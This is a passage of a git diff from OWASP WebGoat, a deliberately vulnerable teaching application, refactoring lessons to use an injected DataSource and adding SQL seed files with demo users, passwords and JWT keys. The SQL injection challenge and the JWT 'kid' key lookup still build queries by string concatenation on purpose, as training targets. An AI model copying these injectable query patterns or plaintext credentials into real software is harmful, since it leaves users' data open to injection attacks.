||||||
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
|
|
||||||
statement.executeUpdate(insertData1);
|
|
||||||
statement.executeUpdate(insertData2);
|
|
||||||
statement.executeUpdate(insertData3);
|
|
||||||
statement.executeUpdate(insertData4);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.error("Unable create table", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
@ -1,28 +0,0 @@
|
|||||||
package org.owasp.webgoat.challenges.challenge6;
|
|
||||||
|
|
||||||
import org.owasp.webgoat.lessons.Category;
|
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
|
||||||
import org.springframework.stereotype.Component;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 3/21/17.
|
|
||||||
*/
|
|
||||||
@Component
|
|
||||||
public class Challenge6 extends Lesson {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Category getDefaultCategory() {
|
|
||||||
return Category.CHALLENGE;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getTitle() {
|
|
||||||
return "challenge6.title";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getId() {
|
|
||||||
return "Challenge6";
|
|
||||||
}
|
|
||||||
}
|
|
@ -0,0 +1,11 @@
|
|||||||
|
--Challenge 5 - Creating tables for users
|
||||||
|
CREATE TABLE challenge_users(
|
||||||
|
userid varchar(250),
|
||||||
|
email varchar(30),
|
||||||
|
password varchar(30)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows');
|
||||||
|
INSERT INTO challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly');
|
||||||
|
INSERT INTO challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**');
|
||||||
|
INSERT INTO challenge_users VALUES ('eve', 'eve@webgoat.org', '**********');
|
@ -5,10 +5,8 @@ import org.junit.Before;
|
|||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.MvcResult;
|
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
|
@ -1,17 +1,9 @@
|
|||||||
package org.owasp.webgoat.cia;
|
package org.owasp.webgoat.cia;
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.sql.Connection;
|
|
||||||
import java.sql.ResultSet;
|
|
||||||
import java.sql.SQLException;
|
|
||||||
import java.sql.Statement;
|
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
public class CIAQuiz extends AssignmentEndpoint {
|
public class CIAQuiz extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
@ -4,7 +4,6 @@ import org.junit.Before;
|
|||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.MvcResult;
|
import org.springframework.test.web.servlet.MvcResult;
|
||||||
|
@ -27,6 +27,8 @@ import org.junit.Before;
|
|||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.mockito.junit.MockitoJUnitRunner;
|
import org.mockito.junit.MockitoJUnitRunner;
|
||||||
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
import org.springframework.test.web.servlet.MockMvc;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
|
|
||||||
@ -40,8 +42,8 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
|
|||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 5/2/17.
|
* @since 5/2/17.
|
||||||
*/
|
*/
|
||||||
@RunWith(MockitoJUnitRunner.class)
|
@RunWith(SpringJUnit4ClassRunner.class)
|
||||||
public class ShopEndpointTest {
|
public class ShopEndpointTest extends LessonTest {
|
||||||
|
|
||||||
private MockMvc mockMvc;
|
private MockMvc mockMvc;
|
||||||
|
|
||||||
|
@ -22,20 +22,15 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.base.Charsets;
|
|
||||||
import io.jsonwebtoken.*;
|
import io.jsonwebtoken.*;
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.sql.Connection;
|
import javax.sql.DataSource;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.SQLException;
|
import java.sql.SQLException;
|
||||||
|
|
||||||
@ -67,8 +62,11 @@ import java.sql.SQLException;
|
|||||||
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
|
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
|
||||||
public class JWTFinalEndpoint extends AssignmentEndpoint {
|
public class JWTFinalEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
private final DataSource dataSource;
|
||||||
private WebSession webSession;
|
|
||||||
|
private JWTFinalEndpoint(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/JWT/final/follow/{user}")
|
@PostMapping("/JWT/final/follow/{user}")
|
||||||
public @ResponseBody
|
public @ResponseBody
|
||||||
@ -92,8 +90,7 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
|
|||||||
@Override
|
@Override
|
||||||
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
||||||
final String kid = (String) header.get("kid");
|
final String kid = (String) header.get("kid");
|
||||||
try {
|
try (var connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
|
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
|
||||||
while (rs.next()) {
|
while (rs.next()) {
|
||||||
return TextCodec.BASE64.decode(rs.getString(1));
|
return TextCodec.BASE64.decode(rs.getString(1));
|
||||||
|
@ -0,0 +1,7 @@
|
|||||||
|
CREATE TABLE jwt_keys(
|
||||||
|
id varchar(20),
|
||||||
|
key varchar(20)
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234');
|
||||||
|
INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter');
|
@ -22,77 +22,73 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.missing_ac;
|
package org.owasp.webgoat.missing_ac;
|
||||||
|
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.Connection;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.Statement;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
public class Users {
|
public class Users {
|
||||||
|
|
||||||
@Autowired
|
private UserSessionData userSessionData;
|
||||||
private WebSession webSession;
|
private DataSource dataSource;
|
||||||
|
|
||||||
@Autowired
|
public Users(UserSessionData userSessionData, DataSource dataSource) {
|
||||||
UserSessionData userSessionData;
|
this.userSessionData = userSessionData;
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@GetMapping(produces = {"application/json"})
|
@GetMapping(produces = {"application/json"})
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
protected HashMap<Integer, HashMap> getUsers() {
|
protected HashMap<Integer, HashMap> getUsers() {
|
||||||
|
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
String query = "SELECT * FROM user_data";
|
String query = "SELECT * FROM user_data";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
ResultSet.CONCUR_READ_ONLY);
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
HashMap<Integer,HashMap> allUsersMap = new HashMap();
|
HashMap<Integer, HashMap> allUsersMap = new HashMap();
|
||||||
|
|
||||||
if ((results != null) && (results.first() == true)) {
|
if ((results != null) && (results.first() == true)) {
|
||||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
|
||||||
StringBuffer output = new StringBuffer();
|
|
||||||
|
|
||||||
while (results.next()) {
|
while (results.next()) {
|
||||||
int id = results.getInt(0);
|
int id = results.getInt(0);
|
||||||
HashMap<String,String> userMap = new HashMap<>();
|
HashMap<String, String> userMap = new HashMap<>();
|
||||||
userMap.put("first", results.getString(1));
|
userMap.put("first", results.getString(1));
|
||||||
userMap.put("last", results.getString(2));
|
userMap.put("last", results.getString(2));
|
||||||
userMap.put("cc", results.getString(3));
|
userMap.put("cc", results.getString(3));
|
||||||
userMap.put("ccType", results.getString(4));
|
userMap.put("ccType", results.getString(4));
|
||||||
userMap.put("cookie", results.getString(5));
|
userMap.put("cookie", results.getString(5));
|
||||||
userMap.put("loginCount",Integer.toString(results.getInt(6)));
|
userMap.put("loginCount", Integer.toString(results.getInt(6)));
|
||||||
allUsersMap.put(id,userMap);
|
allUsersMap.put(id, userMap);
|
||||||
}
|
}
|
||||||
userSessionData.setValue("allUsers",allUsersMap);
|
userSessionData.setValue("allUsers", allUsersMap);
|
||||||
return allUsersMap;
|
return allUsersMap;
|
||||||
|
|
||||||
}
|
}
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
sqle.printStackTrace();
|
sqle.printStackTrace();
|
||||||
HashMap<String,String> errMap = new HashMap() {{
|
HashMap<String, String> errMap = new HashMap() {{
|
||||||
put("err",sqle.getErrorCode() + "::" + sqle.getMessage());
|
put("err", sqle.getErrorCode() + "::" + sqle.getMessage());
|
||||||
}};
|
}};
|
||||||
|
|
||||||
return new HashMap<Integer,HashMap>() {{
|
return new HashMap<Integer, HashMap>() {{
|
||||||
put(0,errMap);
|
put(0, errMap);
|
||||||
}};
|
}};
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
HashMap<String,String> errMap = new HashMap() {{
|
HashMap<String, String> errMap = new HashMap() {{
|
||||||
put("err",e.getMessage() + "::" + e.getCause());
|
put("err", e.getMessage() + "::" + e.getCause());
|
||||||
}};
|
}};
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
return new HashMap<Integer,HashMap>() {{
|
return new HashMap<Integer, HashMap>() {{
|
||||||
put(0,errMap);
|
put(0, errMap);
|
||||||
}};
|
}};
|
||||||
|
|
||||||
|
|
||||||
@ -108,24 +104,15 @@ public class Users {
|
|||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
HashMap<String,String> errMap = new HashMap() {{
|
HashMap<String, String> errMap = new HashMap() {{
|
||||||
put("err",e.getMessage() + "::" + e.getCause());
|
put("err", e.getMessage() + "::" + e.getCause());
|
||||||
}};
|
}};
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
return new HashMap<Integer,HashMap>() {{
|
return new HashMap<>() {{
|
||||||
put(0,errMap);
|
put(0, errMap);
|
||||||
}};
|
}};
|
||||||
|
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected WebSession getWebSession() {
|
|
||||||
return webSession;
|
|
||||||
}
|
|
||||||
|
|
||||||
// @Override
|
|
||||||
// public String getPath() {
|
|
||||||
// return "/access-control/list-users";
|
|
||||||
// }
|
|
||||||
}
|
}
|
||||||
|
@ -54,10 +54,9 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
|
|||||||
MissingFunctionACYourHash yourHashTest = new MissingFunctionACYourHash();
|
MissingFunctionACYourHash yourHashTest = new MissingFunctionACYourHash();
|
||||||
init(yourHashTest);
|
init(yourHashTest);
|
||||||
this.mockMvc = standaloneSetup(yourHashTest).build();
|
this.mockMvc = standaloneSetup(yourHashTest).build();
|
||||||
this.mockDisplayUser = new DisplayUser(new WebGoatUser("user","userPass"));
|
this.mockDisplayUser = new DisplayUser(new WebGoatUser("user", "userPass"));
|
||||||
ReflectionTestUtils.setField(yourHashTest,"userService",userService);
|
ReflectionTestUtils.setField(yourHashTest, "userService", userService);
|
||||||
when(mockDisplayUser.getUserHash()).thenReturn("2340928sadfajsdalsNfwrBla=");
|
when(userService.loadUserByUsername(any())).thenReturn(new WebGoatUser("user", "userPass"));
|
||||||
when(userService.loadUserByUsername(any())).thenReturn(new WebGoatUser("user","userPass"));
|
|
||||||
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
|
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -23,20 +23,16 @@
|
|||||||
package org.owasp.webgoat.sql_injection.advanced;
|
package org.owasp.webgoat.sql_injection.advanced;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.util.StringUtils;
|
import org.springframework.util.StringUtils;
|
||||||
import org.springframework.web.bind.annotation.PutMapping;
|
import org.springframework.web.bind.annotation.PutMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -48,50 +44,45 @@ import java.sql.*;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class SqlInjectionChallenge extends AssignmentEndpoint {
|
public class SqlInjectionChallenge extends AssignmentEndpoint {
|
||||||
|
|
||||||
private static final String PASSWORD_TOM = "thisisasecretfortomonly";
|
private final DataSource dataSource;
|
||||||
//Make it more random at runtime (good luck guessing)
|
|
||||||
static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
|
|
||||||
|
|
||||||
@Autowired
|
public SqlInjectionChallenge(DataSource dataSource) {
|
||||||
private WebSession webSession;
|
this.dataSource = dataSource;
|
||||||
|
|
||||||
public SqlInjectionChallenge() {
|
|
||||||
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@PutMapping("/SqlInjectionAdvanced/challenge") //assignment path is bounded to class so we use different http method :-)
|
@PutMapping("/SqlInjectionAdvanced/challenge")
|
||||||
|
//assignment path is bounded to class so we use different http method :-)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
|
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
|
||||||
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
|
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
|
||||||
|
|
||||||
if (attackResult == null) {
|
if (attackResult == null) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
checkDatabase(connection);
|
|
||||||
|
|
||||||
try {
|
|
||||||
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
|
String checkUserQuery = "select userid from sql_challenge_users where userid = '" + username_reg + "'";
|
||||||
Statement statement = connection.createStatement();
|
Statement statement = connection.createStatement();
|
||||||
ResultSet resultSet = statement.executeQuery(checkUserQuery);
|
ResultSet resultSet = statement.executeQuery(checkUserQuery);
|
||||||
|
|
||||||
if (resultSet.next()) {
|
if (resultSet.next()) {
|
||||||
if (username_reg.contains("tom'")) {
|
if (username_reg.contains("tom'")) {
|
||||||
attackResult = trackProgress(success().feedback("user.exists").build());
|
attackResult = trackProgress(success().feedback("user.exists").build());
|
||||||
} else {
|
} else {
|
||||||
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
|
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
|
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)");
|
||||||
preparedStatement.setString(1, username_reg);
|
preparedStatement.setString(1, username_reg);
|
||||||
preparedStatement.setString(2, email_reg);
|
preparedStatement.setString(2, email_reg);
|
||||||
preparedStatement.setString(3, password_reg);
|
preparedStatement.setString(3, password_reg);
|
||||||
preparedStatement.execute();
|
preparedStatement.execute();
|
||||||
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
|
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
|
||||||
}
|
}
|
||||||
} catch(SQLException e) {
|
} catch (SQLException e) {
|
||||||
attackResult = failed().output("Something went wrong").build();
|
attackResult = failed().output("Something went wrong").build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return attackResult;
|
return attackResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
|
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
|
||||||
@ -103,46 +94,5 @@ public class SqlInjectionChallenge extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void checkDatabase(Connection connection) throws SQLException {
|
|
||||||
try {
|
|
||||||
Statement statement = connection.createStatement();
|
|
||||||
System.out.println(USERS_TABLE_NAME);
|
|
||||||
statement.execute("select 1 from " + USERS_TABLE_NAME);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
createChallengeTable(connection);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void createChallengeTable(Connection connection) {
|
|
||||||
Statement statement = null;
|
|
||||||
try {
|
|
||||||
statement = connection.createStatement();
|
|
||||||
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
|
|
||||||
statement.executeUpdate(dropTable);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.info("Delete failed, this does not point to an error table might not have been present...");
|
|
||||||
}
|
|
||||||
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
|
|
||||||
try {
|
|
||||||
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
|
|
||||||
+ " (" + "userid varchar(250),"
|
|
||||||
+ "email varchar(30),"
|
|
||||||
+ "password varchar(30)"
|
|
||||||
+ ")";
|
|
||||||
statement.executeUpdate(createTableStatement);
|
|
||||||
|
|
||||||
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
|
|
||||||
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
|
|
||||||
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
|
|
||||||
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
|
|
||||||
statement.executeUpdate(insertData1);
|
|
||||||
statement.executeUpdate(insertData2);
|
|
||||||
statement.executeUpdate(insertData3);
|
|
||||||
statement.executeUpdate(insertData4);
|
|
||||||
} catch (SQLException e) {
|
|
||||||
log.error("Unable create table", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -25,36 +25,40 @@ package org.owasp.webgoat.sql_injection.advanced;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.sql.*;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.PreparedStatement;
|
||||||
|
import java.sql.ResultSet;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value ={"SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4"})
|
@AssignmentHints(value = {"SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4"})
|
||||||
public class SqlInjectionChallengeLogin extends AssignmentEndpoint {
|
public class SqlInjectionChallengeLogin extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
private final DataSource dataSource;
|
||||||
private WebSession webSession;
|
|
||||||
|
|
||||||
@PostMapping("/SqlInjectionAdvanced/challenge_Login")
|
public SqlInjectionChallengeLogin(DataSource dataSource) {
|
||||||
@ResponseBody
|
this.dataSource = dataSource;
|
||||||
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
}
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
|
||||||
SqlInjectionChallenge.checkDatabase(connection);
|
@PostMapping("/SqlInjectionAdvanced/challenge_Login")
|
||||||
|
@ResponseBody
|
||||||
PreparedStatement statement = connection.prepareStatement("select password from " + SqlInjectionChallenge.USERS_TABLE_NAME + " where userid = ? and password = ?");
|
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
||||||
statement.setString(1, username_login);
|
try (var connection = dataSource.getConnection()) {
|
||||||
statement.setString(2, password_login);
|
PreparedStatement statement = connection.prepareStatement("select password from sql_challenge_users where userid = ? and password = ?");
|
||||||
ResultSet resultSet = statement.executeQuery();
|
statement.setString(1, username_login);
|
||||||
|
statement.setString(2, password_login);
|
||||||
if (resultSet.next()) {
|
ResultSet resultSet = statement.executeQuery();
|
||||||
return ("tom".equals(username_login)) ? trackProgress(success().build())
|
|
||||||
: success().feedback("ResultsButNotTom").build();
|
if (resultSet.next()) {
|
||||||
} else {
|
return ("tom".equals(username_login)) ? trackProgress(success().build())
|
||||||
return failed().feedback("NoResultsMatched").build();
|
: success().feedback("ResultsButNotTom").build();
|
||||||
|
} else {
|
||||||
|
return failed().feedback("NoResultsMatched").build();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
@ -26,35 +26,43 @@ import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.sql_injection.introduction.SqlInjectionLesson5a;
|
import org.owasp.webgoat.sql_injection.introduction.SqlInjectionLesson5a;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.io.IOException;
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint-advanced-6a-1", "SqlStringInjectionHint-advanced-6a-2", "SqlStringInjectionHint-advanced-6a-3",
|
@AssignmentHints(value = {"SqlStringInjectionHint-advanced-6a-1", "SqlStringInjectionHint-advanced-6a-2", "SqlStringInjectionHint-advanced-6a-3",
|
||||||
"SqlStringInjectionHint-advanced-6a-4"})
|
"SqlStringInjectionHint-advanced-6a-4"})
|
||||||
public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson6a(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjectionAdvanced/attack6a")
|
@PostMapping("/SqlInjectionAdvanced/attack6a")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
